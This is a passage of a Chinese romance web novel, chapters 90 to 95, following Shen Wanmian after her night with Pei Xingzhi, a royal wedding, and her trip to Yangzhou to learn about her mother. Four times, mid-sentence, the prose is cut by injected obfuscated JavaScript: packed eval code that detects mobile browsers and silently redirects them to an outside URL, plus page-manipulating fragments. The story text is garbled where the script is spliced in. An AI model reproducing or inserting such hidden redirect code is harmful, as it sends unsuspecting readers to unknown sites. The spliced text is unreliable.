沈晚眠双手环上他的脖子。 这一吻，比先前更缠绵，更缱绻。 …… 第二日一早，沈晚眠只感觉神清气爽。 说起来真得多亏了那个叫阿月给她下的药。 不然就昨晚那么折腾，以她现在的身体，早就疼**。 她醒来时，裴行止已经不见了踪迹。 这人什么情况，害羞了？ 昨夜她就看出来了，很多时候都是她在引导。 他都三十多了，装什么。 沈晚眠下床活动了一下手脚。 刚打开门，便和裴行止迎面撞上。 “你醒了，我买了早饭，来吃点吧。” 裴行止还是有些害羞，说话间眼神飘忽不定，又红了脸。 第90章 再来 相比之下，沈晚眠内心毫无波澜。 她神色淡淡的“哦”了一声。 随后坐到桌子前自顾自喝起了粥。 她只管吃自己的，丝毫没注意到裴行止一副扭捏做派。 此刻她最关心的问题，是该如何回去。 还有呼延婷，她不会抛下自己回去了吧。 “昨晚的事……” 裴行止十分局促的开口道。 他酝酿了好久，半天才憋出这么一句。 “怎么了？你不乐意？” 难道他觉得自己上辈子是裴宴的女人，还嫌弃上她了？ 裴行止连忙摆手道：“没有……我乐意。” 话一出口，他自己都呆住了。 他在说什么！他怎么能说如此轻浮的话！ 就在裴行止暗自懊恼之际。 沈晚眠又轻飘飘开口：“我和裴宴的事你也知道，至于我表兄，他和咱们不一样，**那些事，再加上我对他是有点过分热切，所以让他产生了些误会，回去后我会跟他解释清楚。” 既然已经将人家睡了，就得给人家个解释。 她不是那种不负责的人。 裴行止却没听懂她的前半句。 什么叫他和他们不一样，**那些事。 “你说的是什么事？” 裴行止小心翼翼问道。 沈晚眠整个过程连头都没抬。 “就是之前那些事啊，他又没经历过。” 裴行止越听越迷糊。 她到底在说什么？ “哪些事啊？” 沈晚眠被他问烦了，不就是重生的那档子事吗，他又不是不知道。 她不耐烦的抬起头，却对上一双充满疑惑的双眼。 裴行止的表情让她的脑海中闪过一丝可怕的念头。 他不会没重生吧！ 想到这里沈晚眠吓的汗**都要立起来了。 不过很快，这个念头就被她打消掉了。 如果他没重生，之前又为何会答应她联手复仇。 “放心吧，之前答应你的事，我会做到，不过你得主动一点吧，你不提，我怎么帮你？” 都过去这么久了，他从来没提出过要她帮忙做什么。 她都怀疑他是不是已经忘了他俩的约定。 裴行止本就迷糊，听到她驴唇不对马嘴的回答更迷糊了。 她到底在说什么？什么主动？他还不够主动？ 什么帮忙？她要帮自己做什么？ “你是说咱们的婚约吗，你觉得我做的不够好吗？” 裴行止低落的垂下头。 似在反省他的所作所为。 沈晚眠听到“婚约”二字。 刚喝下去的粥差点被她喷出来。 她什么时候和他订的婚，她咋不知道！？ “你说啥呢，咱们何时有过婚约？” 裴行止听了她的话，急忙反问道。 “不是你自己说的吗，咱们是一条床上的人，如今真的睡了一张床……” 说到这里，他有些不自在的轻咳两声。 “你该不会……不想要我了……” 婚房他早已布置好，聘礼也已备齐，只等她点头，他便带着聘礼去沈家提亲。 结果就过了一晚，天怎么变了。 莫非是他昨夜的表现太差劲，没让她满意？ 想到这里，裴行止立马起身将房间的大门紧锁，又把窗帘合上。 随后将目瞪口呆的沈晚眠打横抱起。 “昨日的不算……咱们再来一次。” 说完这话，他的耳朵红的都要滴血。 沈晚眠被他气笑，这人的脑回路，到底怎么长得？ “放我下来。” 裴行止没有说话，也没有动。 脸上还带着三分尴尬，三分倔强，和四分害羞。 沈晚眠还有什么不明白的，当初她根本就是对牛弹琴。 本以为是强强联手夺回属于她们的一切，结果只是他单方面想要“夺”自己。 自己还傻傻内疚了许久。 觉得自己没用，没帮过他什么忙。 如果是这样。 裴行止是不是早就惦记上她了？ 这样想来，一切就能说的通。 这一世他没有选择像上一世那样提前从战场上归来。 是因为她没留宿永和宫，京城也没传出她要嫁给裴宴的事迹。 那她昨晚睡的，不是三十多岁的裴行止！而是…… 沈晚眠回过神时，人已经到床上了。 她双手护在胸前，警惕的与他拉开距离。 “你先等等，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199752|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们之间可能有点误会，我……” …… 等对方“放过”她时，已经到了中午。 她麻木的将黏在她身上的人推开，然后满脸绝望的为自己穿衣服。 她到底造了什么孽，惹上这样一位犟种。 “是我不好，弄疼你了吧。” 虽然他嘴上在道歉，表情却丝毫没有忏悔之意。 沈晚眠冷笑一声，扶着快要散架的腰就往外走。 裴行止赶紧胡乱将衣服穿上。 “你要去哪？” “回宫。” “你就这样回去吗？” “不然呢？” 她还能怎么回去。 沈晚眠的白眼都要翻上天。 既是翻给他，也是翻给自己。 她太不中用了。 裴行止将她上下打量一番。 “先跟我回王府休息休息，等到了夜里，我叫阿烟送你回去。” 虽然不情愿，但她也没别的选择。 等她回到宫中时，呼延婷早就等候她多时。 “沈晚眠，你怎么那么糊涂！” 呼延婷劈头盖脸的一顿批评，说的她实在无地自容。 “三个人呐，你也不比较比较，就这么稀里糊涂的选他了？另外两个不再试试了？” 突如其来的话锋一转，让沈晚眠有些跟不上她的思路。 所以她没有觉得自己和裴行止过夜不好，甚至还“恨铁不成钢”？ 呼延婷将沈晚眠拉到床上坐下。 随后“语重心长”的劝道：“别在一棵树上吊死，我瞧着你那位表兄还不错，这样吧，我替你找机会，你和他试试。” 饶是多活过十年的沈晚眠，也被她的逆天言论惊到。 她在说什么虎狼之词！ “别闹了，和你想的不一样，这件事有点复杂，和你解释不清……” 呼延婷拍了拍她的肩膀，一脸我都懂的表情。 “我知道，你们中原规矩多，这样吧，我带你去蒙国，我们哪里才不看重那些个狗屁贞洁。” 沈晚眠有些搞不懂她，她为何不想她与裴行止在一起？ 不过很快她就想明白了。 她马上就是裴卿尘的妻子。 她知道裴卿尘狼子野心，注定与裴行止走不到一起去。 第91章 变心 不想她与裴行止在一起，其实是不想与她生分。 “我……” 话都要到嘴边，可她怎么都讲不出。 “罢了罢了，你喜欢就好，珍惜当下吧，别去想“莫须有”的未来。” 二人相视一笑，有些事情，其实不必明说。 心里明白就好。 或许是有了先前的教训，剩下几日呼延婷都很消停，没在带着沈晚眠干出格的事。 时间很快到了她要出嫁的日子。 依照蒙国习俗，大婚当日，沈晚眠要陪呼延婷一起过门。 且要寸步不离的守着她。 直到大婚当夜，新娘挡下闹婚房的喜酒，才可离开。 所以一直到夜里，沈晚眠才见到来参加婚宴的众人。 来闹洞房的都是年轻一辈的女娘郎君。 沈晚眠见到了不少熟人。 有前些日子的求赐婚三人组，加上两位公主，还有许久不见的江时愿等人。 除了江时愿跟她打招呼，就剩楚月给她点好脸色，其余四人看都不看她一眼。 沈晚眠很清楚，自己在宫里待的日子已经到头了。 接下来她该去哪？ 直接去江南吗？ 可前几日的事情就这么放任不管吗？ 还有她身上的银子，恐怕连路费都不够。 难道回沈家？ 可是她现在的处境，回到沈家也很尴尬吧。 沈晚眠忍不住苦笑两声。 这下她真成了无家可归之人。 “快点向新娘子敬酒啊。” 不知谁起的头，看热闹的人群瞬间将她们包围。 每个人都争先恐后的递上手中的酒杯。 沈晚眠替新娘尽数挡下。 怪不得她白日里跟呼延婷说自己想吃东西。 呼延婷不让她吃。 原来在这里等着她呢。 她不知被灌了多少酒，最后实在是喝不下。 只能试图装醉躲过。 被挤在人群中的裴行止好几次想上前，都被沈晚眠瞪了回去。 给她灌酒的大部分都是女娘，大家都是带着恨意来的。 要是这个时候裴行止站出来了，她以后真就没法在京城待。 闹也闹够了，众人被喜婆赶了出去，喜房里只剩新郎和新娘。 沈晚眠脚步虚浮的踏出房门。 刚一出门，就被二人从左右两边架住。 “你没事吧？” 裴汐和有些心疼的开口道。 刚才的场面她也见了，这些女娘怕是要恨死沈晚眠。 还好她们也不敢太放肆，毕竟是皇室联姻。 沈晚眠瑶瑶头。 “没事，就是有点撑。” 裴舒妍义愤填膺道：“这些死丫头，看我打断她们的腿！” 以裴舒妍那股子冲动劲，沈晚眠很难不怀疑。 她要是敢松手，她能立马去为她报仇。 于是她暗暗加重手上的力道。 “多谢殿下好意，我真没事。” 裴汐和也劝道：“行了，你还嫌她树敌不够多。” 沈晚眠被二人搀扶到大厅坐下。 她一抬眼，恰好看到沈怀瑾向她这边走来。 沈怀瑾来到她面前，先是小心的上下打量她一番，然后才开口。 “昭昭？你怎么也在，你这是怎么了？” 刚才沈怀瑾没去闹洞房，自然不知道里面发生了什么。 沈晚眠刚要开口，却被裴舒妍故作矜持的声音打断。 “这位公子是？” 裴舒妍眼睛眨啊眨，还害羞的将自己的半张脸用手帕掩上。 沈晚眠和裴汐和，皆是一副见鬼的表情。 这还是那个刚才那个要大战三百回合的裴舒妍吗？ 还有她这变心速度，未免也太快了。 沈怀瑾看到她腰间的玉佩，认出二人公主的身份。 他向后退了一步，接着行礼道。 “卑职沈怀瑾，见过二位殿下。” 沈晚眠拽住裴舒妍想往上扑的衣袖。 冲着她悄悄耳语：“殿下，别忘了还有个季少渊。” 裴舒妍的眼中只剩下这位陌生又羞涩的黑衣少年。 季少渊早已被她抛到九霄云外。 “季少渊是谁？我和他很熟吗？” 接着，她又热切的跟沈怀瑾搭话。 “你也姓沈，是我最好的朋友，沈昭昭的兄长吗？” 好尴尬，好想装不认识她。 二人这么想着，事实上也这么干了。 裴汐和看了一眼沈晚眠。 随后架起她就往别处走。 二人还没走两步，又被李言初拦住去 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沈晚眠捏捏她的脸蛋。 “你啊，不过几日不见，还长胖了，看来是伙食太好，明日我就让表兄克减你的三餐。” 春桃也凑上前向她行礼。 沈晚眠打量她一番，见她身上的伤已经好的差不多。 “春桃，你的伤也好了，确定不离开了？” 源井桃语气坚定道：“奴婢的命是小姐救的，以后便誓死效忠小姐。” 那日的传闻她也听说了。 想不到这女人还与太子有关联，她就更不能走了。 就在三人叙旧之时，来参加婚宴的宾客陆续离场。 江时愿见到沈晚眠的背影，便不由得多看了两眼。 结果她就再也移不开眼了。 是她！她怎么会在这！ 楚月戳戳她。 “江姐姐，你怎么了？” 叶清瑶离开后，她便和江时愿走的越来越近。 江时愿脸上的震惊还未褪去。 她的双眼死死盯着源井桃，试图说服只是长得像而已，未必是同一个人。 第92章 坦白 源井桃感觉有人在看自己，下意识去寻找那道视线的主人。 她抬起头，正好和江时愿视线相撞。 空气在这一瞬间静止。 耳边的喧嚣声都被隐去，她的眼里，只剩那人的倒影。 源井桃只感觉脑袋轰的一声炸开。 三公主！她不是**吗？ 她怎么会出现在这！ “江姐姐？你怎么了？” 楚月见江时愿一直不说话，以为她身体不舒服。 “哪里不舒服吗？” 江时愿僵硬的收回视线。 她对楚月挤出一抹十分牵强的笑意。 “我没事，咱们快走吧。” 就这样，她拉着楚月逃似的离开了。 源井桃的视线一直停留在她身上。 直到她的身影完全消失，她才回过神。 想不到三公主竟然没死。 而且还与大齐皇室挂上了关系。 沈晚眠注意到身边人的不对劲。 “怎么了？” 源井桃很快调整好情绪。 “没事，就是有点累了。” 她大病初愈，又在风口等了她这么久，身体肯定吃不消。 “好，那……” 沈晚眠一时语塞，她竟然不知道，自己该去哪里落脚。 “沈晚眠，跟我回永和宫。” 裴宴不知从何处冒出，上来就直接抓她的胳膊。 “不劳烦太子殿下了，昭昭是微臣的妹妹，理应跟微臣回家才是。” 李言初也不甘示弱，一把拉过沈晚眠的另外一条胳膊。 宾客们纷纷往这边张望，免费的戏，谁不想看。 周围的目光落到沈晚眠身上，她只感觉自己像是被架在火上烤。 她用力挣脱开二人的束缚。 却又被裴行止拉到身后。 “二位不必争了，我会照顾好她的。” 沈晚眠心头生出一股无名火。 她是物件吗？ 谁抢到是谁的。 她又用力甩开裴行止的手。 裴行止没想到她会甩开他，他回过头，满脸不解的望着她。 就在此时，人群中突然传出一道弱弱的女声。 “那个……沈姐姐，你跟我走吧。” 听到熟悉的声音，沈晚眠有些意外的看向来人。 徐娇娇从人群中钻出，表情还略带局促。 她怎么出宫了？ 要知道她上次进宫多么不容易，她怎么会…… 她记得宾客的名单上，没有徐娇娇的名字。 既然她出现在这里，那就只有一种可能。 她将自己跟她说的话记在了心上。 这是想带她回扬州。 “好，咱们走。” 沈晚眠拽起吉祥和春桃，直奔徐娇娇而去。 来到徐娇娇身边，沈晚眠发自肺腑的朝她道谢。 “多谢。” 徐娇娇略带激动道：“应该是我向您道谢才对，这些日子，多谢姐姐的照顾。” 她在永和宫听说了沈晚眠的事后。 急的她团团转。 沈姐姐对她这么好，教她本领，还替她邀功。 她必须得为她尽一份力才行。 她知道沈晚眠不可能再从永和宫待下去。 也知道沈家的情况。 想到之前沈晚眠跟她开玩笑，说想跟她回扬州。 于是她一不做二不休，直接跟萧贵妃和姑母请辞。 姑母了解原委后，虽然不舍，但还是同意了她的做法。 刚才她一直在人群里。 看到沈晚眠被三人争抢时，她突然发现自己的决定多么愚蠢。 是啊，人家有那么多追求者，怎么会跟她走。 是她将戏言当了真。 就在她心灰意冷时，沈晚眠突然挣脱开了宸王的手。 她同时也看到了，沈晚眠眼里的**和不甘。 这份**，直击她的内心。 正因如此，她才有勇气站出来。 此刻沈晚眠紧紧握着她的手，眼神中充满了感激。 徐娇娇被她的眼神鼓舞。 沈姐姐，我带你回家。 “姐姐，我定了马车和客栈，等明日咱们就出发可好。” 沈晚眠被她的真诚感动。 “好，都听你的。” 不听也没办法，她又没银子…… 四人来到客栈住下。 徐娇娇没想过会来这么多人，只定了两个房间。 如今她与沈晚眠睡一间，吉祥和春桃睡另外一间。 夜里，沈晚眠睡不着，徐娇娇也睡不着。 二人背对着背，谁都没有说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199754|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然，徐娇娇感觉自己的脖子一凉，随即昏睡过去。 沈晚眠惊恐的瞪大双眼，嘴却被人捂的死死的。 见徐娇娇彻底晕了，阿烟才后退一步，半跪下向沈晚眠请罪。 “属下冒犯，还请小姐恕罪。” 沈晚眠直接从床上坐起。 略带震惊道：“你……你怎么来了？” 房间里很暗，沈晚眠看不清阿烟的表情。 只听她一字一句道：“小姐，殿下在隔壁等您。” 好啊，都追她追到这里来了。 他来了，她就必须得见吗？ “不见，我要睡觉了。” 阿烟跪在地上，很是难为道：“殿下说他知道错了，特意来向小姐道歉，如果您不见他，他会一直等您，直到您消气为止。” 沈晚眠被阿烟的话气笑。 好啊，还敢威胁她，她倒要看看，这人葫芦里到底在卖什么药。 沈晚眠气冲冲的跟着阿烟来到隔壁。 裴行止见到她，立马跟她认错。 “对不起，虽然我不知今日我哪里做错了，但我知道，你生气了，所以我……” 沈晚眠打断他的话。 “停……我觉得我们需要好好谈谈。” 他一直在暗中保护自己，关心自己。 自己也的确对他动了心。 可是她知道，她们现在关系，非常畸形！ 矛盾点就在于她一直都错将他当做上一世的裴行止来看。 “你先坐，我有话对你说。” 裴行止有些紧张，他始终摸不透她的心思。 可他还是乖乖照做。 “第一，我对你存在一些误会，所以才……” “总之就是之前的事就让他过去吧，我们现在谈谈将来。” 裴行止不敢忤逆她的话。 这段时间的相处，他也看出来了。 她的脾气还是和小时候一样，甚至变的更大。 一不留神做了让她不喜的事，恐怕她又要和自己划清界限。 “我们可以在一起，但不是现在。” 裴行止不理解，但还是应下。 “我有我自己的事要做，而且我要做的事可能需要很久才有结果，你愿意等我吗？” 她愿意迈出这一步，不过前提是要先为自己和母亲报仇。 第93章 监视 只是这对于裴行止来说，未免太不公平。 呼延婷有句话说的很对。 他有大好的前程，犯不着在她一棵树上吊死。 裴行止表情无比严肃认真。 “我愿意，我愿意一直等。” 沈晚眠有些动容。 虽然她知道男人的话不可信，可他的话，自己愿意相信。 “十年，二十年，你也愿意？” 他的眸子，在月光的照耀下，显得更加坚定而明亮。 “我愿意，就算一辈子，我也愿意。” 或许守护她已经成为自己的某种执念。 他甘之如饴。 “好，好，我信你。” …… 第二日，沈晚眠百无聊赖的坐在桌前，摆弄着旁边的假花。 她时不时看床上的徐娇娇一眼。 阿烟的手劲这么大吗？ 她怎么还不醒？ 如果她过去叫她起来，会不会不太礼貌？ 想着想着，徐娇娇突然睁开眼。 “糟了，几时了？” 沈晚眠被她吓了一跳。 “巳时了吧，你没事吧，可有不适？” 她来到徐娇娇身边，眼睛不由自主的盯上她的脖子。 徐娇娇哪里还顾得上别的。 她昨日与商队商议好，辰时一同出发，现下时辰过了，她还怎么带沈姐姐回扬州。 徐娇娇的声音染上哭腔。 “姐姐，时辰过了，都怨我，还说要带你回去，结果自己先掉了链子，我是不是很没用，呜呜呜……” 沈晚眠有些无措。 她赶紧安慰道：“没事的，没事的，还有别的办法，咱们不急于这一时哈。” 徐娇娇哭的更大声了。 “可是……我的银子不够了……” 原来是为了这个。 “没事，我有，我多的是银子。” 徐娇娇觉得她是为了安慰自己，才这么说。 之前在永和宫时，她不小心看到了沈晚眠自己的私账。 她知道沈晚眠的家底。 虽然二人身份天差地别，可都是一样的穷。 “你看，这是什么？” 沈晚眠变戏法似的掏出两个荷包，展示给徐娇娇看。 徐娇娇诧异的连哭都忘了。 她有些不确定的接过荷包，打开一看竟然真的是银子。 “现在相信了吧。” 沈晚眠的语气不自觉染上骄傲。 现在的她今非昔比。 昨日她狠狠“敲诈”了裴行止一笔。 这家伙也听话，身上的银子不够了又回王府取来补上。 “好了，别哭了，现在咱们有钱了，可以租好一点的马车了。” “走吧，先去找吉祥她们会合吧。” 徐娇娇穿戴好衣服，跟着沈晚眠来到吉祥和春桃的房间。 二人还沉浸在“暴富”的喜悦之中，丝毫没有注意到不对。 见吉祥还在床上躺着，沈晚眠只当她贪睡。 “吉祥，起来了，起来吃好吃的啦。” 奇怪，春桃去哪里了？ 沈晚眠又叫了她两声，吉祥却没有要转醒的迹象。 她这才意识到不对劲。 吉祥现在的状态，怎么跟刚才的徐娇娇这么像？！ 她用力摇了摇吉祥，吉祥这才悠悠转醒。 “嗯？怎么了……” 吉祥迷迷糊糊的起身，她昨晚怎么睡着的？ 怎么没有印象？ “沈姐姐，你快看！” 徐娇娇面色沉重的将一张字条递给沈晚眠。 纸上只写着五个大字。 “我走了，勿念。” 沈晚眠愣在原地，怎么会……如此突然？ 昨日她不是还说要跟着自己保护自己吗？ 短短一夜，她便食言。 吉祥也看到了那张字条。 “啊，春桃走了？她走了？” 她怎么都没想到，春桃会如此突然的离开她们。 沈晚眠收敛起神色。 “走便走吧。” 很奇怪，她明明希望春桃这一世可以活的不一样。 可她真的走了，她又觉得心里空落落的，好像少了一块东西。 因为春桃的离开，三人的兴致都不高。 于是沈晚眠决定，明日再出发。 源井桃躲在暗处，悄悄观察她们的行踪。 本以为她能潜伏在沈晚眠身边，以待来日助公主一臂之力。 谁承想半路杀出个三公主。 时间拉回到昨夜。 她刚到客栈，便与“江时愿”对上。 无奈之下她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209468|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能先将吉祥打晕，再与三公主对峙。 三公主的第一句话，便是要让她离开。 “源井，你必须赶紧离开。” 源井桃不屑的笑了笑。 “您倒是命大，竟然没死，不过我为何要听你的，你现在什么都不是，有什么资格命令我？” 江时愿眸光微冷。 “就凭如果你不离开，我们都得死！” 源井桃才不信她的话。 她这样说，只是怕自己的存在，会暴露她的身份罢了。 “放心吧公主，我知道您假死出逃，是为了不想嫁给那个老混蛋，我不会出卖您的，咱们各做各的事，不好吗？” 江时愿嗤笑一声。 “你太自大了，你以为你能在她身边待到几时？太子和宸王，都已注意到你，如果想活命，就赶紧滚回西瀛，永远不要再回来！” “不信的话，你可以试试，夜里会不会有人来找你。” 留下这句话，江时愿头也不回的离开了。 她赶走源井，的确是为了她好。 但也是为了自己。 如果她暴露了，肯定会拉自己下水。 如今她只想好好的替江时愿活下去。 …… 源井桃本来对她的威胁不屑一顾。 直到夜里，那个阿烟竟然真的来了。 还好当时自己装睡躲过了一劫，没让她看出端倪。 她只检查了她们的包袱便走了。 不过她要是再待下去，迟早会暴露。 为了安全起见，她不得不放弃自己的计划。 但她也不想就此回到西瀛。 毕竟自己任务失败，有何颜面面见公主？ 既然那二位都如此看重沈晚眠，她不妨悄悄跟着她。 说不定有意想不到的收获。 又过了一日。 沈晚眠带着吉祥和徐娇娇，上了回江南的马车。 此前她已与裴行止约定好，由阿烟护送她们去。 有了阿烟，她们这一路也算畅通无阻。 四人走走停停，一边游玩一边赶路。 硬是把原本几日的路程扯到了半月。 等她们到扬州城下时。 已经从深秋到了寒冬。 “沈姐姐，这都快到年关了，不如你在我家过完年再去忙你的事吧。” 第94章 孙家 沈晚眠打趣道：“好啊，到时候你可别嫌我们三个能吃。” 四人说说笑笑的驱车到了徐府门外。 她们来的早，一路走来街上都没什么人。 此刻徐府大门紧闭，阿烟便下车去敲门。 不一会儿，门就从里面透出一个缝隙。 小厮揉着眼睛，睡眼惺忪道：“谁啊？找谁？” 阿烟没说话，她让开身子。 小厮见到从马车上探出头的徐娇娇，眼睛都直了。 “大小姐？您怎么回来了！” 见到徐娇娇，小厮的困意全消。 他赶紧将大门推开，还冲着里面大喊道：“老爷，夫人，大小姐回来了，大小姐回来了！” 三人刚从马车上下来，徐父徐母便已经到了门前。 徐母激动的快步上前握住徐娇娇的手，仔仔细细的将她从头到尾看了一遍。 “回来这么不提前跟家里说一声，瞧瞧你，定是没好好吃饭，都瘦了。” 徐母心疼的摸着女儿的脸，眼底的惊喜都要溢出。 “娇娇，这几位是？” 与徐母相比，徐父便显得冷静许多。 虽然女儿突然回来他也很意外很惊喜。 但见到女儿还带来了三位外人。 该有的礼数还是要有。 “爹，这位就是女儿之前提到的，沈二小姐。” 徐娇娇将沈晚眠拉到身边，跟父母介绍道。 沈晚眠福了福身。 “伯父伯母好。” 听到沈晚眠的身份，二老瞬间不淡定了。 先不说这位的身份。 之前娇娇同他们通信时，提到过李家的往事。 后来他们特意去打听，才知道女儿口中的沈二小姐便是李家的外孙女。 此次她来扬州，定是为她母亲之事而来。 且她来到扬州后，没去她外祖家，而是跟着娇娇来他们家。 说明她一定察觉了什么。 这个沈二小姐，当真不简单。 “贵客远道而来，我们有失远迎，寒舍粗鄙，还请贵客恕罪。” 徐父故意放低姿态恭维道。 徐娇娇有些难为情的看了一眼沈晚眠。 跟沈姐姐相处久了，她都快忘了她们之间的差距…… “伯父折煞我了，您是前辈，怎么能让前辈向晚辈赔礼，再者是晚辈不请自来，理应由晚辈向您赔罪才是。” 沈晚眠听出他的弦外之意，不就是拐弯抹角的赶人。 她就偏偏要做那个厚脸皮的，就不走。 徐父知道人他是赶不走了，只得将她们迎进门。 “你们娘俩进去再叙旧吧，外面冷。” 一行人陆陆续续的进了徐府。 沈晚眠跟在徐娇娇后面，看着她和徐母紧紧靠在一起说悄悄话。 心底忍不住涌起一股酸涩。 如果母亲还在，她们也会这样吧。 察觉到沈晚眠的情绪，吉祥挽上她的胳膊。 “小姐，这里好暖和啊，都感觉不出来是冬天呢。” 阿烟嗤笑一声。 “真没见识。” 吉祥不乐意了，抡起拳头就往她身上砸。 “就你有见识，就你去的地方多。” 看到二人打闹，沈晚眠的情绪也被她们调动起来。 她应该往好处想，人间多疾苦。 母亲也许早已往生极乐。 徐父并没带她们去前厅，而是直接让小厮领她们去了客房。 沈晚眠知道，他这是想避着自己，不给她机会让她问出问题。 无妨，扬州城多的是人，她就不信问不出当**。 打定主意后，沈晚眠决定先休息一日。 等明日一早，她再带着吉祥去别的人家打听打听。 到了晚上，她本想早早休息，却被徐娇娇神神秘秘的叫了出来。 随后徐娇娇又带她去了书房。 徐父徐母对视一眼，随即点点头，似乎等了她许久。 她刚踏进书房，徐娇娇便把门从外面关了起来。 她有些懵，但看到徐娇娇的眼神，她又安定下来。 应是她白日里替自己求了情，徐父徐母大概是要告诉她李家的事了。 “寒舍简陋，比不得京城，沈二小姐随便坐吧。” 徐父对她的态度，已经不像初见时那般。 看来徐娇娇没少为自己说好话。 沈晚眠也不拘着，随意坐到离自己最近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209469|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置。 “我知道您想问什么，这件事说来还和我家有些关系，但我真不能说。” 徐父叹了口气，当年之事若不是李家大度，他怕是早已家破人亡。 他已答应了李家和她，要保守秘密，便要信守承诺。 即便是她的后人，也不行。 沈晚眠低垂着眼，叫人看不出她的情绪。 徐母起身为她倒了盏茶。 “沈二小姐，多谢您这段时日对娇娇的照顾，娇娇都跟我们说了，您很好，也很不容易。” “只是这件事，是当年李小姐的请求，我们不想背弃李小姐。” 沈晚眠有些激动道：“我母亲？” 徐母点点头：“对，就是您母亲，不过此事您可以去问城东孙家，他家知道的肯定比我家要多。” 事已至此，他们也只能提醒到这里。 第二日一早，沈晚眠便出发去了城东。 她与吉祥阿烟三人，沿途一路打听，终于在巷子深处的一间破败不堪的房子前停住脚步。 “小姐，确定是这里吗？咱们会不会找错了？” 饶是“见多识广”的吉祥，此刻也忍不住嘴角抽搐。 这门可太破了，比京城外的那间破庙还要破。 她以为那就是极限。 不曾想这世上真有比那间破庙还破的地方。 还是人住的地方。 在这种地方住，活着都费劲吧，哪还有工夫去八卦。 沈晚眠注意到，这门虽然破的不堪入目，可门用的木头，却是上好木材。 想必很久之前，这家也算富足。 突然，“嘭”的一声，门被从里面砸开。 本就摇摇欲坠的门受到重击，直接径直往地上砸去。 幸好阿烟眼疾手快，沈晚眠和吉祥才没被门砸到。 “阿烟。” 沈晚眠意识到不对劲，轻声唤了阿烟一句。 阿烟立马心领神会，警惕的替沈晚眠开路。 “好啊，你还敢反抗。” 赵钱捂住被砸伤的半张脸，狠狠踹了一脚地上的孙嫣然。 “给我砸！给我狠狠的砸！！” 随着他一声令下，家丁们开始肆意毁坏屋里破败的家具。 第95章 戏弄 孙嫣然想要阻拦，却怎么都起不来，只能默默看着这一切。 其中一个家丁想要去砸角落里的柜子。 孙嫣然一急，竟然将家丁扑倒在地。 随后她紧紧抱住柜子，嘴里还嘟囔着：“不能砸……不能砸……” 赵钱来了兴致。 “都住手。” 家丁们不明白主子想干什么，但都停下手。 见家丁们真的不砸了，孙嫣然松了一口气。 “都去给我砸那个破柜子，砸的最狠的，重重有赏！” 听了赵钱的话，家丁如饿狼扑食一般。 一个个都眼冒绿光的盯上孙嫣然身后的柜子。 孙嫣然的眼睛逐渐被绝望淹没。 她流下两滴清泪，随后紧紧闭上眼。 一副视死如归的姿态。 就算是死，她也要护住他唯一留下的东西。 想象中的拳打脚踢没有袭来。 取而代之的，是此起彼伏的惨叫声。 孙嫣然震惊的看着眼前的一幕。 一位束发劲装的红衣女娘，背对着自己，将一个又一个想要往上扑的“饿狼”打倒在地。 很快，屋里站着的，只剩她和快要吓尿了的赵钱。 “你没事吧。” 门外又走进一位蓝衣女娘。 她快步到自己身边，蹲下身向自己伸出善意的手。 蓝衣女子背着光，她看不清她的模样。 她最先感受到的，是她身上扑面而来的贵气，淡雅的香气，和清冽如山泉般的嗓音。 面对这样的女娘，孙嫣然觉得自己就像阴沟里的老鼠一样见不得光。 她回避开沈晚眠的手，自己从地上爬了起来。 “我没事。” 阿烟拍了拍身上不存在的灰。 痞里痞气的将胳膊架在沈晚眠肩膀上。 “小姐，就剩这一个了，要打吗？” 沈晚眠故作为难，她拧着眉，似乎很难抉择。 赵钱赶紧向她求饶。 “二位女侠饶命，女侠饶命啊……” 沈晚眠满意的点点头。 “嗯……还算识趣。” 赵钱脸上的肥肉挤在一起，眼睛都要看不见了。 “多谢女侠饶命，小人这就走，这就走……” 赵钱拔腿就要往外跑，丝毫不在意满地家丁的死活。 阿烟伸出长臂将他拽回。 “让你走了吗？” 沈晚眠也跟着道：“你这人也太心急，我话还没讲完呢。” “不如这样，你和这位女侠猜拳，你赢了，就让你走，如何？” 